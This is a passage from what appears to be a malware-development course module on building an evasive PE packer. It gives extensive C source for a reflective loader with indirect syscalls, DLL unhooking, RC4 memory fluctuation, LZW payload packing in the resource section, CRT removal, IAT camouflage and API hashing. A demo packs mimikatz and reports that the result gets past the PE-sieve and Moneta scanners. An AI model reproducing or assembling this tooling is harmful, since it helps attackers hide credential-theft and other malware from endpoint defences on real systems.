    BYTE        bSeed           = 0x00;

    if (!pTmpBuffer || !sTmpBufferLen)
        return FALSE;

    // Change the target's memory permissions to RW to allow encrypting (it was RO)
    SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
    if (!NT_SUCCESS(STATUS = RunSyscall(NtCurrentProcess(), &pTmpBuffer, &sTmpBufferLen, PAGE_READWRITE, &dwOldProtection))) {
        return FALSE;
    }
CPP
    // Increment the global counters:
    // This will help in determining the data state in memory.
    g_dwDataStatus++;
    // When g_dwCycleCounter == KEY_CHANGE_CYCLE_NMBR, the rc4 key is changed
    g_dwCycleCounter++;

    // Set a new seed that can be used for the new rc4 key
    if (g_dwDataStatus == DATA_DECRYPTED) {
        bSeed = pBuffer[bSeed % 0xFF];
    }

    // Encrypt/Decrypt input data
    if (!NT_SUCCESS((STATUS = g_WinAPI.pSystemFunction032(&uStrBuffer, &uStrKey))) != 0x0) {
        return FALSE;
    }

    // Change the rc4 key 
    if (g_dwCycleCounter >= KEY_CHANGE_CYCLE_NMBR && g_dwDataStatus == DATA_DECRYPTED) {
        // Fast algorithm to completely change the rc4 key
        for (int i = 0; i < RC4_KEY_SIZE; i++) {

            if (i % 2 == 0x00)
                g_Rc4Key[i] = g_Rc4Key[i] ^ ((pBuffer[i] ^ bSeed) % 0xFF);
            else
                g_Rc4Key[i] = g_Rc4Key[i] ^ ((g_Rc4Key[0] ^ bSeed) % 0xFF);
        }

        // Reset the counter 
        g_dwCycleCounter = 0x00;
    }

    // Reset the counter 
    if (g_dwDataStatus == DATA_DECRYPTED)
        g_dwDataStatus = 0x00;

    // Change the memory permissions to RO/RX.
    SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
    if (!NT_SUCCESS(STATUS = RunSyscall(NtCurrentProcess(), &pTmpBuffer, &sTmpBufferLen, (bDecrypt == TRUE ? PAGE_EXECUTE_READ : PAGE_READONLY), &d
wOldProtection))) {
        return FALSE;
    }

    // Leave the critical section
    g_WinAPI.pLeaveCriticalSection(&g_CriticalSection);

    return TRUE;
}

The LocalPeExecAndFluctuate Function

The LocalPeExecAndFluctuate function invokes most of the implementation's code. The main purpose of this function is to execute the PE payload and start PeFluctuation (i.e. memory encryption). Additionally, it also calls the UnhookAllLoadedDlls function after fixing the IAT to unhook the newly loaded DLL modules.

LocalPeExecAndFluctuate is shown below where it accepts only one parameter, pPeHdrs, representing the pointer of an initialized PE_HDRS structure.

CPP
BOOL LocalPeExecAndFluctuate(IN PPE_HDRS pPeHdrs) {

    if (!pPeHdrs)
        return FALSE;

    NTSTATUS        STATUS                  = 0x00;
    PBYTE           pPeBaseAddress          = NULL;
    SIZE_T          sPeSize                 = (SIZE_T)pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage;
    PVOID           pVectoredExptnHandler    = NULL,
                    pEntryPoint             = NULL;
    DLLMAIN         pDllMain                = NULL;
    MAIN            pMain                   = NULL;

    // Initialize a critical section (used in Rc4EncryptDecrypt)
    g_WinAPI.pInitializeCriticalSection(&g_CriticalSection);

    // Allocate enough memory to hold the decompressed pe
    SET_SYSCALL(g_Nt.NtAllocateVirtualMemory);
    if (!NT_SUCCESS(STATUS = RunSyscall(NtCurrentProcess(), &pPeBaseAddress, 0x00, &sPeSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))) {
        return FALSE;
    }

    // Calculate the entry point
    pEntryPoint = (PVOID)(pPeBaseAddress + pPeHdrs->pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);

    // Move the pe's section to the allocated memory
    for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
        Memcpy(
            (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress),
            (PVOID)((ULONG_PTR)pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData),
            pPeHdrs->pImgSecHdr[i].SizeOfRawData
        );
    }

    // Set up the IAT
    if (!FixImportAddressTable(pPeHdrs->pEntryImportDataDir, pPeBaseAddress))
        return FALSE;

    // Fix relocation
    if (!FixReloc(pPeHdrs->pEntryBaseRelocDataDir, pPeBaseAddress, pPeHdrs->pImgNtHdrs->OptionalHeader.ImageBase))
        return FALSE;

    // Set memory permissions. The 'FixMemPermissions' function will initialize the 'g_uPeTextAddress' and 'g_sPeTextSize' global variables
    if (!FixMemPermissions(pPeBaseAddress, pPeHdrs->pImgNtHdrs, pPeHdrs->pImgSecHdr))
        return FALSE;

    if (!g_uPeTextAddress || !g_sPeTextSize)
        return FALSE;

    // Set up a VEH that will execute 'UnhookingVectoredExceptionHandler' if an exception is triggered while unhooking
    if (!(pVectoredExptnHandler = g_WinAPI.pAddVectoredExceptionHandler(0x01, UnhookingVectoredExceptionHandler))) {
        return FALSE;
    }

    // Unhooking loaded dlls
    UnhookAllLoadedDlls();

    // Removing the set VEH
    if (!g_WinAPI.pRemoveVectoredExceptionHandler(pVectoredExptnHandler)) {
        return FALSE;
    }

    // Resolve the PE's exception handlers if found
    if (pPeHdrs->pEntryExceptionDataDir->Size) {

        PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPeBaseAddress + pPeHdrs->pEntryExceptionDataDir->Virt
ualAddress);

        if (!g_WinAPI.pRtlAddFunctionTable(pImgRuntimeFuncEntry, (pPeHdrs->pEntryExceptionDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 
1, pPeBaseAddress)) {
        }
    }

    // Set up a VEH that will run PeFluctuationVectoredExceptionHandler when an exception occurs while executing the PE
    if (!(pVectoredExptnHandler = g_WinAPI.pAddVectoredExceptionHandler(0x01, PeFluctuationVectoredExceptionHandler))) {
        return FALSE;
    }
CPP
    // Flush instructions
    SET_SYSCALL(g_Nt.NtFlushInstructionCache);
    if (!NT_SUCCESS(STATUS = RunSyscall(NtCurrentProcess(), NULL, 0x00))) {
        return FALSE;
    }

    // Execute TLS callbacks if found
    if (pPeHdrs->pEntryTLSDataDir->Size) {

        PIMAGE_TLS_DIRECTORY     pImgTlsDirectory= (PIMAGE_TLS_DIRECTORY)(pPeBaseAddress + pPeHdrs->pEntryTLSDataDir->VirtualAddress);
        PIMAGE_TLS_CALLBACK*     pImgTlsCallback     = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);

        for (; *pImgTlsCallback; pImgTlsCallback++)
            (*pImgTlsCallback)((LPVOID)pPeBaseAddress, DLL_PROCESS_ATTACH, NULL);
    }

    // Free 'pPeHdrs->pFileBuffer', which is the base address of the decompressed PE
    LocalFree(pPeHdrs->pFileBuffer);

    // Create a timer queue
    if (!(g_hTimerQueue = g_WinAPI.pCreateTimerQueue())) {
        return FALSE;
    }

    // Use the timer queue created to execute the 'ObfuscationTimerCallback' callback function after 'EXEC_WAIT' seconds to encrypt memory at 'g_uP
eTextAddress'
    if (!g_WinAPI.pCreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, EXEC_WAIT * 1000, 0, 0)) {
        return FALSE;
    }

    // Execute the EP
    if (pPeHdrs->bIsDLLFile && (pDllMain = (DLLMAIN)pEntryPoint))
        return pDllMain((HINSTANCE)pPeBaseAddress, DLL_PROCESS_ATTACH, NULL);
    if ((pMain = (MAIN)pEntryPoint))
        return pMain();
}

LZW Data Compression Algorithm

To pack the PE payload within our implant, one can utilize any C data compression implementation that is compatible with the Visual Studio compiler. For this implementation, the LZW algorithm will be used. Covering how the LZW algorithm works is out of the scope of this module, however, implementing the algorithm through the use of open-source code is discussed in the sections below.

The Lzw-Eddy Repository

Upon searching for a functional LZW implementation, the lzw-eddy repository was found to be a bug-free project, in addition to being compatible with the Visual Studio compiler. The LZW compression algorithm was implemented in the lzw.h header file of the repository, where the functions lzw_compress and lzw_decompress are called to compress and decompress data respectively. Both of these functions accept 5 parameters and require prior initialization to these parameters. To make matters simpler, two new wrapper functions will be created LzwCompressData and LzwDecompressData.

LzwCompressData Function

The LzwCompressData function below uses lzw_compress after initializing its parameters to compressed input data. LzwCompressData returns TRUE if it succeeds in compressing the data. The function also accepts the following parameters:

  • pRawData The base address of the plaintext data to compress.
  • sRawDataSize The size of the plaintext data to compress.
  • ppCompressedData A pointer to a PBYTE variable that will receive the base address of the compressed data.
  • psCompressedDataSize A pointer to a SIZE_T variable that will receive the size of the compressed data.
CPP
BOOL LzwCompressData(IN PBYTE pRawData, IN SIZE_T sRawDataSize, OUT PBYTE* ppCompressedData, OUT PSIZE_T psCompressedDataSize) 
{
    struct      lzw_state*  pLzwState       = NULL;
    SSIZE_T                 ssResults       = 0x00, 
                            ssWritten        = 0x00;
    PBYTE                   pCompressed     = NULL;
    SIZE_T                  sAllocated      = sRawDataSize;

    // Initializing lzw_compress's parameter
    if (!(pLzwState = (struct lzw_state*)LocalAlloc(LPTR, sizeof(struct lzw_state)))) 
        goto _FUNC_CLEANUP;

    // Allocating memory for the compressed data
    if (!(pCompressed = LocalAlloc(LPTR, sAllocated)))
        goto _FUNC_CLEANUP;

    // Compressing the data using the 'lzw_compress' function 
    while ((ssResults = lzw_compress(pLzwState, pRawData, sRawDataSize, pCompressed, sAllocated)) > 0x00) {
        if (ssWritten > sRawDataSize) 
            goto _FUNC_CLEANUP;
        ssWritten += ssResults;
    }

    // Checking the return value
    if (ssResults < 0x00) 
        goto _FUNC_CLEANUP;

    // Assigning the output parameters values
    *ppCompressedData        = pCompressed;
    *psCompressedDataSize    = ssWritten;

_FUNC_CLEANUP:
    if (pLzwState)
        LocalFree(pLzwState);
    if (ssResults < 0x00)
        LocalFree(pCompressed);
    return (*ppCompressedData && *psCompressedDataSize) ? TRUE : FALSE;
}

LzwDecompressData Function

On the other hand, the LzwDecompressData function below uses lzw_decompress after initializing its parameters to decompress LZW compressed data. LzwDecompressData returns TRUE if it succeeds in decompressing the data. The function also accepts the following parameters:

  • pCompressedData The base address of the LZW compressed data to decompress.
  • sCompressedDataSize The size of the compressed data.
  • ppRawData A pointer to a PBYTE variable that will receive the base address of the decompressed data.
  • psRawDataSize A pointer to a SIZE_T variable that will receive the size of the decompressed data. This parameter should be set to the original size of the data before compressing (sRawDataSize in LzwCompressData). Therefore, the psRawDataSize parameter should have the same value before and after the function execution.
CPP
BOOL LzwDecompressData(IN PBYTE pCompressedData, IN SIZE_T sCompressedDataSize, OUT PBYTE* ppRawData, IN OUT PSIZE_T psRawDataSize)
{
    struct      lzw_state*  pLzwState       = NULL;
    SSIZE_T                 ssResults       = 0x00, 
                            ssWritten        = 0x00;
    PBYTE                   pRawData        = NULL;
    SIZE_T                  sAllocated      = *psRawDataSize;         

    // Initializing lzw_decompress's parameter
    if (!(pLzwState = (struct lzw_state*)LocalAlloc(LPTR, sizeof(struct lzw_state)))) 
        goto _FUNC_CLEANUP;

    // Allocating memory for the decompressed data
    if (!(pRawData = LocalAlloc(LPTR, sAllocated))) 
        goto _FUNC_CLEANUP;

    // Decompressing the data using the 'lzw_decompress' function 
    while ((ssResults = lzw_decompress(pLzwState, pCompressedData, sCompressedDataSize, pRawData, sAllocated)) > 0x00) {
        if (ssWritten > *psRawDataSize) 
            goto _FUNC_CLEANUP;
        ssWritten += ssResults;
    }

    // Checking the return value
    if (ssResults < 0x00) 
        goto _FUNC_CLEANUP;

    // Assigning the output parameters values
    *ppRawData      = pRawData;
    *psRawDataSize  = ssWritten;

_FUNC_CLEANUP:
    if (pLzwState)
        LocalFree(pLzwState);
    if (ssResults < 0x00)
        LocalFree(pRawData);
    return (*ppRawData && *psRawDataSize) ? TRUE : FALSE;
}

PeCompressor Program

To pack the PE payload, the PeCompressor.exe program has been constructed. PeCompressor.exe will make use of the LzwCompressData function after reading a PE payload from the disk, then write the compressed data into a file named PeFileCompressed.lzw. This new file will be a part of the PE packer's implant where it will read it from its resource section.

It is worth noting that since the LzwDecompressData function requires the original size of the payload (before being compressed), the PeCompressor.exe program will write the initial payload size at the end of the PeFileCompressed.lzw file, which allows the PE packer to retrieve that value at runtime, and invoke the LzwDecompressData function with the right parameters. This trick is shown in the image below.

Building A PE Packer figure

Payload Placement

As mentioned earlier, the PE packer will store the compressed version of the PE payload, PeFileCompressed.lzw, in its resource section. Storing a payload in the resource section of the implant was done multiple times across the course but was first implemented in the Payload Placement - .rsrc Section module.

The GetDecompressedResourcePayload Function

From the PE packer's perspective, to retrieve the PE payload in its plaintext version, the implant must undergo the steps below.

1. Fetch the compressed payload from the resource section.

2.Retrieve the original size of the payload saved as the last 8 bytes at the end of the resource section.

3. Call the LzwDecompressData function to decompress the retrieved data.

These steps are performed by the GetDecompressedResourcePayload function shown below which requires the following parameters:

  • hModule A handle to the module from which the resource section payload should be retrieved.
  • wResourceId The resource ID associated with the payload, which was assigned during the creation of the resource section.
  • ppDecompressedPe A pointer to a PBYTE variable that will be set as the base address of the decompressed PE payload.
  • psDecompressedPeSize A pointer to a SIZE variable that will be set as the size of the decompressed PE payload.
CPP
BOOL GetDecompressedResourcePayload(IN HMODULE hModule, IN WORD wResourceId, OUT PBYTE* ppDecompressedPe, OUT PSIZE_T psDecompressedPeSize) {

    PBYTE       pCompressedPe       = NULL;
    SIZE_T      sCompressedPeSize    = NULL;

    // Fetching packed PE from .rsrc section
    // Helper function - explained in the next section
    if (!GetResourceData(hModule, wResourceId, &pCompressedPe, &sCompressedPeSize)) {
        return FALSE;
    }

    // Retrieving the size of the raw PE
    *psDecompressedPeSize = *(PSIZE_T)(pCompressedPe + sCompressedPeSize - sizeof(SIZE_T));

    if (!(*ppDecompressedPe = LocalAlloc(LPTR, *psDecompressedPeSize))) 
        return FALSE;

    if (!LzwDecompressData(pCompressedPe, sCompressedPeSize, ppDecompressedPe, psDecompressedPeSize)) {
        LocalFree(*ppDecompressedPe);
        return FALSE;
    }

    return TRUE;
}

GetResourceData Helper Function

GetDecompressedResourcePayload makes use of a helper function, GetResourceData, which was used in earlier modules to retrieve data from the resource section without the need to call any of the FindResource, LoadResource, LockResource, or SizeofResource WinAPIs.

CPP
BOOL GetResourceData(IN HMODULE hModule, IN WORD ResourceId, OUT PVOID* ppResourceRawData, OUT PDWORD psResourceDataSize) {

    CHAR*                   pBaseAddr          = (CHAR*)hModule;
    PIMAGE_DOS_HEADER       pImgDosHdr         = (PIMAGE_DOS_HEADER)pBaseAddr;
    PIMAGE_NT_HEADERS       pImgNTHdr          = (PIMAGE_NT_HEADERS)(pBaseAddr + pImgDosHdr->e_lfanew);
    PIMAGE_OPTIONAL_HEADER  pImgOptionalHdr    = (PIMAGE_OPTIONAL_HEADER)&pImgNTHdr->OptionalHeader;
    PIMAGE_DATA_DIRECTORY   pDataDir           = (PIMAGE_DATA_DIRECTORY)&pImgOptionalHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE];

    PIMAGE_RESOURCE_DIRECTORY               pResourceDir    = NULL, pResourceDir2    = NULL, pResourceDir3   = NULL;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY         pResourceEntry  = NULL, pResourceEntry2  = NULL, pResourceEntry3 = NULL;
    PIMAGE_RESOURCE_DATA_ENTRY              pResource = NULL;
CPP
    pResourceDir    = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress);
    pResourceEntry  = (IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pResourceDir + 1);

    for (DWORD i = 0; i < (pResourceDir->NumberOfNamedEntries + pResourceDir->NumberOfIdEntries); i++) {

        if (pResourceEntry[i].DataIsDirectory == 0)
            break;

        pResourceDir2   = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry[i].OffsetToDirectory & 0x7FFFFFFF));
        pResourceEntry2 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResourceDir2 + 1);

        if (pResourceEntry2->DataIsDirectory == 1 && pResourceEntry2->Id == ResourceId) {

            pResourceDir3   = (PIMAGE_RESOURCE_DIRECTORY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry2->OffsetToDirectory & 0x7FFFFFF
F));
            pResourceEntry3 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResourceDir3 + 1);
            pResource       = (PIMAGE_RESOURCE_DATA_ENTRY)(pBaseAddr + pDataDir->VirtualAddress + (pResourceEntry3->OffsetToData & 0x7FFFFFFF));

            *ppResourceRawData   = (PVOID)(pBaseAddr + (pResource->OffsetToData));
            *psResourceDataSize  = pResource->Size;

            break;
        }

    }

    if (*ppResourceRawData != NULL && *psResourceDataSize != NULL)
        return TRUE;

    return FALSE;
}

The Main Function

Once the implementation is completed, the main function should proceed to execute the following functions in the order provided below:

  • InitIndirectSyscalls Initialize HellsHall indirect syscalls.
  • InitializeWinAPIs Initialize WinAPIs function pointers via API hashing.
  • GetDecompressedResourcePayload Fetch the compressed PE payload from the resource section and decompress it using the LZW algorithm. InitializePeStruct Initialize a PE_HDRS struct that will contain all the required information to execute the PE payload.
  • LocalPeExecAndFluctuate Execute the PE, unhook loaded DLLs, and perform PEFluctuation.

The AddWin32uToIat Function - Loading win32u.dll

It is important to load the win32u.dll module before calling the InitIndirectSyscalls function, for its crucial rule in executing syscalls. In the Building An Evasive DLL Payload Loader module, win32u.dll was loaded by adding shell32.dll to the implant's IAT. shell32.dll loads win32u.dll, ensuring that the latter DLL is loaded. To add shell32.dll to the IAT, one can call any function that it exports, which is done in the following AddWin32uToIat function where SHGetFolderPathW was used.

CPP
// This function loads win32u.dll into the IAT

VOID AddWin32uToIat() {
    WCHAR szPath[MAX_PATH] = { 0 };
    SHGetFolderPathW(NULL, CSIDL_MYVIDEO, NULL, NULL, szPath);
}

CRT Library Function Replacement

As done in multiple modules across the course, when building a real-world implant, it is advised to remove the CRT library by following the steps in the CRT Library Removal & Malware Compiling module. As mentioned in the aforementioned module, when the CRT library is removed, certain functions will become unusable and will require a custom implementation. These custom functions have been re-created below.

Replacing rand()

rand is replaced with GenerateRandomInt.

CPP
unsigned int GenerateRandomInt()  {
    static unsigned int state = 123456789;
    state ^= state << 13;
    state ^= state >> 17;
    state ^= state << 5;
    return state;
}

Replacing wcscat()

wcscat is replaced with Wcscat.

CPP
VOID Wcscat(IN WCHAR* pDest, IN WCHAR* pSource) {
    while (*pDest != 0)
        pDest++;

    while (*pSource != 0) {
        *pDest = *pSource;
        pDest++;
        pSource++;
    }

    *pDest = 0;
}

Replacing memcpy

memcpy is replaced with Memcpy.

CPP
VOID Memcpy(IN PVOID pDestination, IN PVOID pSource, SIZE_T sLength) {

    PBYTE D = (PBYTE)pDestination;
    PBYTE S = (PBYTE)pSource;

    while (sLength--)
        *D++ = *S++;
}

Intrinsic Functions

In addition to function replacements at runtime, the compiler required a custom declaration for the memset and strrchr functions, which is done via the intrinsic keyword. Again, this was explained and used in the same previously mentioned module.

CPP
// replaces 'memset' while compiling
extern void* __cdecl memset(void*, int, size_t);

#pragma intrinsic(memset)
#pragma function(memset)
void* __cdecl memset(void* pTarget, int value, size_t cbTarget) {
    unsigned char* p = (unsigned char*)pTarget;
    while (cbTarget-- > 0) {
        *p++ = (unsigned char)value;
    }
    return pTarget;
}
CPP
// replaces 'strrchr' while compiling. 
extern void* __cdecl strrchr(const char*, int);

#pragma intrinsic(strrchr)
#pragma function(strrchr)
char* strrchr(const char* str, int c) {
    char* last_occurrence = NULL;  
    while (*str) {
        if (*str == c) {
            last_occurrence = (char*)str;  
        }
        str++;
    }

    return last_occurrence;
}

IAT Camouflage

Upon removing the CRT library, and especially when using API hashing, the implant's IAT will import very few functions over a few DLL modules. This can be used to identify a packed executable image as shown in the IAT Camouflage module. Therefore, using IAT camouflage, which is done by adding whitelisted APIs to the implant's IAT will make our implant look more legitimate.

When the IatCamouflage function below is invoked, the WinAPIs listed within it are added to its IAT.

ASM
VOID DummyAllocation(OUT DWORD* pdwRandNmbr) {

    *(DWORD*)pdwRandNmbr = *(DWORD*)pdwRandNmbr + GenerateRandomInt();

    if (*pdwRandNmbr > 0x491fd3a1)
        return;

    DummyAllocation(pdwRandNmbr);
}
CPP
BOOL IatCamouflage() {

    DWORD   dwNmbr = 0x00;

    DummyAllocation(&dwNmbr);

    if (dwNmbr < 0xFFFFFF) {
        RegCloseKey(NULL);
        RegDeleteKeyExA(NULL, NULL, NULL, NULL);
        RegDeleteKeyExW(NULL, NULL, NULL, NULL);
        RegEnumKeyExA(NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        RegEnumKeyExW(NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        RegEnumValueW(NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        RegEnumValueA(NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        RegGetValueA(NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        RegGetValueW(NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        RegisterServiceCtrlHandlerA(NULL, NULL);
        RegisterServiceCtrlHandlerW(NULL, NULL);
        return !GetLastError();
    }

    return TRUE;
}

Demo

In this demo, mimikatz.exe will be packed and executed using the implementation built in this module:

  • Compressing mimikatz.exe with PeCompressor.exe and outputting the PeFileCompressed.lzw file.
Building A PE Packer figure
  • After replacing the PeFileCompressed.lzw file with the new one, compiling PePacker and running it will show mimikatz's console.
Building A PE Packer figure
  • Scanning PePacker.exe with Pesieve and successfully bypassing it even with maximum intensity scan flags.
Building A PE Packer figure
  • Scanning PePacker.exe with Moneta and successfully bypassing it.
Building A PE Packer figure
Diagram

Companion Project & Source Code

29 readable source/config files extracted directly from the archive

Download Module 31 - PePacker.zip
1.9 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <stdio.h>

#define     CRC_POLYNOMIAL      0xEDB88320
#define     STR                 "_CRC32"

CONST CHAR* g_StringsArray[] = {

    // Syscalls
    "NtOpenSection",
    "NtMapViewOfSection",
    "NtUnmapViewOfSection",
    "NtAllocateVirtualMemory",
    "NtProtectVirtualMemory",
    "NtFlushInstructionCache",

    // WinAPIs
    "LoadLibraryA",
    "AddVectoredExceptionHandler",
    "RemoveVectoredExceptionHandler",
    "SystemFunction032",
    "RtlAddFunctionTable",
    "VirtualProtect",
    "CreateTimerQueueTimer",
    "CreateTimerQueue",
    "InitializeCriticalSection",
    "EnterCriticalSection",
    "LeaveCriticalSection",
    NULL
};


UINT32 CRC32B(LPCSTR cString) {

    UINT32      uMask   = 0x00,
                uHash   = 0xFFFFEFFF;
    INT         i       = 0x00;

    while (cString[i] != 0) {

        uHash = uHash ^ (UINT32)cString[i];

        for (int ii = 0; ii < 8; ii++) {

            uMask = -1 * (uHash & 1);
            uHash = (uHash >> 1) ^ (CRC_POLYNOMIAL & uMask);
        }

        i++;
    }

    return ~uHash;
}


#define HASH(STR)    ( CRC32B( (LPCSTR)STR ) )


int main() {

    DWORD ii = 0;

    while (g_StringsArray[ii]) {
        printf("#define %s%s \t 0x%0.8X \n", g_StringsArray[ii], STR, HASH(g_StringsArray[ii]));
        ii++;
    }

    // Used in UnhookAllLoadedDlls
    printf("\n#define %s%s \t 0x%0.8X \n", "text", STR, HASH(".text"));

    // DLLs
    printf("#define %s%s \t 0x%0.8X \n", "win32udllA", STR, HASH("win32u.dll"));
    printf("#define %s%s \t 0x%0.8X \n", "win32udllW", STR, HASH(L"win32u.dll"));
    printf("#define %s%s \t 0x%0.8X \n", "ntdlldll", STR, HASH("ntdll.dll"));
    printf("#define %s%s \t 0x%0.8X \n", "advapi32dll", STR, HASH("advapi32.dll"));
    printf("\n#define %s%s \t 0x%0.8X \n", "kernel32dll", STR, HASH("kernel32.dll"));

}
Full Archive Manifest (33 files inside .zip)
  • PePacker/HashCalculator/HashCalculator.c
  • PePacker/HashCalculator/HashCalculator.vcxproj
  • PePacker/HashCalculator/HashCalculator.vcxproj.filters
  • PePacker/HashCalculator/HashCalculator.vcxproj.user
  • PePacker/PeCompressor/PeCompressor.vcxproj
  • PePacker/PeCompressor/PeCompressor.vcxproj.filters
  • PePacker/PeCompressor/PeCompressor.vcxproj.user
  • PePacker/PeCompressor/lzw.c
  • PePacker/PeCompressor/lzw.h
  • PePacker/PeCompressor/main.c
  • PePacker/PePacker.sln
  • PePacker/PePacker/ApiHashing.c
  • PePacker/PePacker/Common.c
  • PePacker/PePacker/Common.h
  • PePacker/PePacker/Debug.c
  • PePacker/PePacker/Debug.h
  • PePacker/PePacker/FunctionPntrs.h
  • PePacker/PePacker/HellsAsm.asm
  • PePacker/PePacker/HellsHall.c
  • PePacker/PePacker/IatCamouflage.h
  • PePacker/PePacker/LocalPeExec.c
  • PePacker/PePacker/Lzw.c
  • PePacker/PePacker/Lzw.h
  • PePacker/PePacker/PeFileCompressed.lzw
  • PePacker/PePacker/PePacker.vcxproj
  • PePacker/PePacker/PePacker.vcxproj.filters
  • PePacker/PePacker/PePacker.vcxproj.user
  • PePacker/PePacker/Resource.h
  • PePacker/PePacker/Resource.rc
  • PePacker/PePacker/RsrcPayload.c
  • PePacker/PePacker/Structs.h
  • PePacker/PePacker/Unhook.c
  • PePacker/PePacker/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.